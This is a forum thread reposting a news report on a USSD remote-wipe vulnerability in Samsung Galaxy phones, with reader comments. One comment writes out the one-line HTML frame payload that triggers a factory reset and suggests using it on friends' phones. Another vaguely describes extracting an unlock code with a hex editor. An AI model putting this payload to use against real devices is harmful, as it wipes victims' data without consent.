Samsung Galaxy Phones Are Vulnerable To A Remote Wipe Attack


~All the information provided is for educational purposes only.
~The OP is in no way responsible for any misuse of the information.

A SECURITY RESEARCHER has exposed a vulnerability in some Samsung handsets that leaves them open to a remote wipe attack.

Ravi Borgaonkar showed off the attack at the Ekoparty security conference, reports Slashgear. There he showed how a hacker could direct the user to a webpage where some malicious code could plunge them into a factory reset nightmare.

Borgaonkar's talk, Dirty use of USSD Codes in Cellular Network, showed how the Unstructured Supplementary Service Data (USSD) protocol, which is commonly used, can be exploited by attackers.

The attack can rely on people following links that suggest a trip to a website where you might see a "sexy co-ed" or equivalent. But as we have seen time and time before, people will fall for this type of thing. QR codes can also send people to attack webpages, according to Borgaonkar, as can NFC tags. Basically, anything that can open a URL can be used, he explained.

He said that attackers can kill a SIM card and wipe the handset in just three minutes, adding that although victims can see what is happening they will be powerless to stop it.

Samsung devices running Touchwiz appear to be affected. We have asked Samsung to comment. In the meantime, and unless you want to be targeted by gits, you might consider turning off automatic page loading in your NFC and QR code reading apps.

Update
Samsung told us that the vulnerability had been fixed already, but did recommend that users install the latest software update.

"We would like to assure our customers that the recent security issue concerning the Galaxy S III has already been resolved through a software update," it said in a statement.

"We recommend all Galaxy S III customers to download the latest software update, which can be done quickly and easily via the Over-The-Air (OTA) service."

http://packetstormsecurity.org/news/view/21533/Samsung-Galaxy-Phones-Are-Vulnerable-To-A-Remote-Wipe-Attack.html

So basically, If you want to remote wipe your friends’ Android phones, get them to visit a web page embedded with this code:

<frame src=”tel:*2767*3855%23” />

hmmmm...*now updating.

Sly, please visit that link and tell us if it works! hehehehe....

Thanks for this bruv!I am currently working on a thesis work on mobile phone security issues, this is highly needed material.

Sorry it wouldnt stop me from making love with my darling samsung smartphone.

Another live Demo to wipe Samsung using Barcode with Malicious USSD embedded code.
[url]
https://www.youtube.com/watch?v=zEESPrE0Csw [/url]

I got to tell my folks to do the OTA update

Apple propaganda lamfao........... ........., THIS SPACE IS FOR SALE

Truman155: Apple propaganda lamfao........... ........., THIS SPACE IS FOR SALE

how much?

Thanks a lot.....

Another Apple stunt? If you use a samsung Smart Phone try to protect your phone oohh or else.....

Lwkms
Which one be 'this space is for sale' again!

Truman155: Apple propaganda lamfao........... ........., THIS SPACE IS FOR SALE

jbrodaly: Thanks for this bruv!I am currently working on a thesis work on mobile phone security issues, this is highly needed material.

hello, I want to keep in touch with u on similar thesis

this is stale gist and that security hole has been plugged

HELP HELP HELP: anybody with samsung galaxy tab unlocking code

i want to unlock my samsung galaxy tab.anybody with help

kcfresh007: i want to unlock my samsung galaxy tab.anybody with help

I did mine nt on a tab though. But the galaxy s.

You to check xda developers. I cant remember bt u should check for zerg or similar. You need to start the samsung in safe mode or something extract the os as .img and use a hex editor to find the code.

Mine was six digits. Took me whole day to pull off. Becareful, though